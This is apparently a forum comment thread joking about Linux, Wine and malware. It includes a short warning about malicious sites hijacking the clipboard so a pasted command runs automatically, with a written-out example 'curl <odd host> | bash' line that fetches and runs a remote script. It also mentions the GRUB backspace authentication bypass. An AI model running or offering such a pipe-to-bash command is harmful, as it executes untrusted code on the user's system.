until you try to install .exe game file using lutris and wine
Why does your admin account look like a scrotum?
it's where the power is stored
Insert joke about it taking balls to use it
Insert another joke about it being the root of the access tree/graph in the image
Maybe because scratching an itch there is generally seen as a bad move if you don't know what you're doing.
... and yet some of the same people will readily copy-paste random shell scripts into their terminal without fully understanding them.
Even if you understand the commands, you need to trust the website because a malicious site can use JavaScript to copy something completely different into your clipboard, with a newline character at the end to automatically execute when pasted. (Is the newline exploit fixed in all shells? It used to fail in zsh but work in many others...)
One can also paste into a text editor to verify before pasting into terminal, but what noob is going to know or bother to?
curl gu5usgugiv.lol | bash || curl get.k3s.io | bashSomeone did something similar to this with a fake brew package manager page. They paid Google to put it on the front page.
Let me open up my Linux bible and see if its malicious
...so, never put things in the terminal?
In fact, you should delete the terminal altogether. On a related note, powershell access is considered taboo in corporate environments by IT departments. When security audits are done, you lose a point if powershell can be used. It is in fact considered a hacking tool.
Correct.
This is were WINE comes handy /s
Virus running in wine: "WTF is this place. It's familiar, but it's all wrong!"
And then it starts running because you set up wine with binfmt_misc, only to crash a few seconds later
Wine automatically running:
Remember that time, when it was possible for about 6 years to hack into any Linux system (without drive encryption) which had GRUB by pressing backspace exactly 28 times? Yeah, good old times.
https://www.hmarco.org/bugs/CVE-2015-8370-Grub2-authentication-bypass.html
That's hyperbole. Such a system can be "hacked" by simply plugging in a usb-stick and booting from that instead, or dozens of other ways.
The only reason to use GRUB authentication I can think of would be in something like a kiosk.
If the adversary has physical access you are generally pwned either way
Does anyone here use GRUB authentication? If so why? What's your threat model?
A friend of mine once downloaded something malicious to his Linux machine and wasn't worried about it. Then some time later, while browsing his files from a Windows machine, saw it and was like, "hey, what's this?" Oops.
He's a tech savvy guy, so I'm guessing the fact he had downloaded it himself really let his guard down.
That's why you don't store your stool samples in the same fridge as your chocolate pudding. Malware goes into the vault.
That's another reason not to dual boot. Ditch Windows.
Sometimes when I've torrenting from a public wifi I'll get a malicious .scr file - but since I torrent from an Android phone it can't do anything to me.
Modern viruses check the os before deciding which type of file to send your way.
Well if the exe was in a bottle it would be dangerous.
This has given me a horrendous idea involving a Windows batch file and a weird shebang
you're not the first. there absolutely are multiplatform launcher scripts. i have used one for installers a few years ago.
Shebang needs executable rights afaik.
The virgin bin vs the chad .exe
Wrong location my dear
Same with android. There isn't even wine there
Android has an extensive application sandboxing mechanism
